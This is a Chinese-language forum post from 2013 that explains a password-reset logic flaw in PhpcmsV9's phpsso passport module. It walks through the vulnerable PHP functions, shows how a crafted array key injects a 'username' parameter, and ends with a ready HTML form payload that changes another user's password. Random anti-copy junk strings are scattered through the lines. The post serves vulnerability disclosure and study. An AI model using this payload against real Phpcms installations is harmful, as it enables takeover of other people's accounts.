找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1960|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
提到的通行证的代码:  O( p1 v# \4 D% M5 D

$ i. W+ a; E( U5 m9 ]3 I9 o3 h
1 R9 V' k6 e. R1 ~; Tparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
' K' s+ h" A1 v& \5 m* e$ ~; m- o: W
/ D& ~8 T4 W! Q; k( w# ?在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。+ r5 v6 o4 X0 A- E8 A* K, a* Z7 p
2 O+ [1 a# d3 K( L3 _" o& @' n
我把它留给了你们。
- @  b1 u  h! I" g1 }8 v  p) {  s! ?6 ?9 g不知道你们发现了它没有。
3 g0 I5 `) g6 y/ S! d+ Q8 U
' s$ M  o! N/ h6 G1 g( I! @/ E8 ?我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。3 s; `0 Q2 r$ m( x0 p4 f. @5 D! m
7 m/ H. z3 j: h( e" ?5 q
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。/ r. Q. Q6 h6 d  X6 }

  N: w) k/ A1 u- C也就是9 j( M9 d% q2 \5 J. i

' M( Q% l/ Q% D9 J1 Fusername=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。! j7 ~2 E% Z+ x$ c/ ^
5 r6 }% H3 M: t  b' N* `. n) Z; c8 ^
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。, j9 Z" ~0 T: n

4 n, \; J; _( K. y+ c! B8 |* g# Y$ ~( n7 m7 ~
其实我们有这样的机会,看看代码,如下:
" ^9 V+ g8 Q0 G- o+ O, ^* N1 s/ g4 N

# r3 q/ W0 e2 ?) \( opublic function auth_data($data) {
3 q# x- s7 c6 R) ^; @) V5 s                $s = $sep = '';
' G8 ?% x8 j* W" m/ l/ L  F                foreach($data as $k => $v) {
- H6 j/ o$ s0 e* e+ T                        if(is_array($v)) {
; \: k, b0 }9 t                                $s2 = $sep2 = '';8 Q. \2 q* E. \: w! G% y8 @
                                foreach($v as $k2 => $v2) {
  i/ S8 n" \  w( k: w) g                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);6 X! o4 M+ M; C: I* M; P
                                        $sep2 = '&';
5 Y3 t% G- @: C, |& k) n+ w                                }) ]: u  t; f8 H/ }# }7 w- A
                                $s .= $sep.$s2;
* l+ w$ V7 _- d% F* M                        } else {
5 E, V. P/ H. S+ o& C6 ]) `: W* Z                                $s .= "$sep$k=".$this->_ps_stripslashes($v);
6 Z+ X0 L& c! a$ B; p                        }
2 s3 w. b/ Z( q                        $sep = '&';0 \" l5 c* t, W; T* r
                }
4 j$ z/ \# |6 W
4 s6 |1 i2 B6 x6 Q                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
2 g5 {7 ?4 W7 @" \( W                return $auth_s;& \( a: y# q; p, {/ x
        }
/ R3 Z$ ^7 @: i% E3 @; K
$ o# T- k$ E% R3 \& r可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。3 F8 x: P6 G( L* H
4 r) N# y$ L; ^$ U! u
举个例子0 g* t9 H& H8 r9 g
/ W3 r, s9 h  A4 f
$a[aaa=a&bbb] = 'a';
8 h3 I4 `( [  B
+ a# d( S* B2 `0 @; z6 G会变成aaa=a&bbb=a
- Z" L$ _! Q% `8 h9 G, z: A1 }" k  G* {4 w& [. v: g+ p
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。. V) i* s5 ~: X' P. b9 D
) T8 N1 o" n2 H& \7 `
这个时候,我们可以再去看一个函数。
! ^6 X  t9 u9 h! `6 t8 `6 `6 }& \  }7 d7 H7 v) V* G. c5 k/ T1 ~
就在这个文件内:
; Q# r2 G4 [  `  G7 W* H8 ?) k1 h$ Q$ L/ Z6 G6 _7 p' V$ N

! [% j" F+ v9 Z9 s" l- c; N4 Opublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
! T9 p, U2 _7 j8 ^+ V/ H                if($email && !$this->_is_email($email)) {! e" w  r. z+ ^  u
                        return -4;- N& L; h" f! `( k* H  Z
                }
8 M; B9 w- b- t% p: j                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
& @( Y, U9 P: ?# F        }
; f4 {4 y8 H! u& j, s" g5 W! \7 T# [& t9 e; S+ _9 w. l
这是向通行证发了这样一个请求。& y* H# w* q+ D. p# u+ j6 m1 I
0 h& q; Z) y8 M
我们再跟到通信证代码里去看看,就会有所发现。6 h) t3 y8 n, n$ f7 Y$ U7 |

' m: n- s! a$ l) |+ }2 ?- W/ P4 T
public function edit() {
' h, ?1 E9 _5 D; p* l//能省就省,太长了不是吗?
- |/ E* G" A6 L2 e  M& s2 |0 f' a$ B  O  h
if($this->username) {) k$ r0 U6 O1 s* `! i; C7 z+ O
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
6 ?/ L' i7 P! n                                $res = $this->db->update($data, array('username'=>$this->username));* F6 v7 O& C; o6 m' l$ W0 W' z
                        } else {
  |2 g4 D& G5 d# {2 i+ L# G* j                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);& ]: w$ [# f! d1 s6 @
                                $res = $this->db->update($data, array('uid'=>$this->uid));& k& C# o* w) R& p
                        }
; L8 h/ W) [' B. @% Y  }4 t4 x( ]- ?# S( K& E
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
( x* [5 R+ [# e9 [: q! @( I' j+ h2 R6 u4 W- o) t
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')) [- y& I+ Q: ?5 p* t
. T# J  ?$ h# I) E8 s2 |
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
. r, F  A" _; F2 x% ^5 N9 c
' t+ _* `6 }: ~7 L9 ^我当然找到了:
6 ?5 O. Z; C7 }' G  E6 j! Lphpcms9/phpcms/modules/member/index.php( @3 [/ H# r  L
6 V1 U: v, ?0 r; S; x
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);) w! G2 D& j$ i. f

  }7 ^( N/ n5 B. C, ?/ H- Q然后就没有然后了。/ T$ \/ g. H' i$ u  F9 ?6 B
; ^2 X0 r. v. A! `& G, m
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
4 Q% M5 k- V0 t" r3 h                                <table width="100%" cellspacing="0" class="table_form">+ K  e) m0 ~4 R0 J
                                        <tr>
/ b# F7 J! a# |& e( H                                                <th width="80">邮箱:</th>        , [1 [& J' x& K1 k9 e
                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>3 H* q: L! S" B( m; I# R1 I
                                        </tr>
+ s1 }1 h5 I  Q  d3 U                                        <tr>
$ ^8 Y! r; }# l2 F% `; t. \                                                <th width="80">原密码:</th>        . J3 f0 U3 y% |8 d: i, R- ]
                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
  j# t  m: s  h                                        </tr>
* a; x# |- \4 s  y( t2 Z; R                                        <tr>
% g6 k. Z  I3 j$ b5 [. ]$ t' e                                                <th>新密码:</th>* I. B" G2 x# ]; o
                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>/ b, C' M0 K. y' ]7 ^  W) Z8 |
                                        </tr>
* g1 @" i; l+ M2 [                                        <th></th>
2 u2 n- k8 c5 }5 O4 U                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
8 q) S/ S8 R) Q- @2 m  e2 {2 |8 ~                                        </tr>% t5 u2 S% L$ z# S
                                </table>3 Q( M8 X& o/ j1 Q, U

! ]4 L1 |  g( E6 B/ I/ g+ L, W                               
) Q$ X; g: j/ v- I+ h                        </form>6 f8 U+ @. k3 Y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表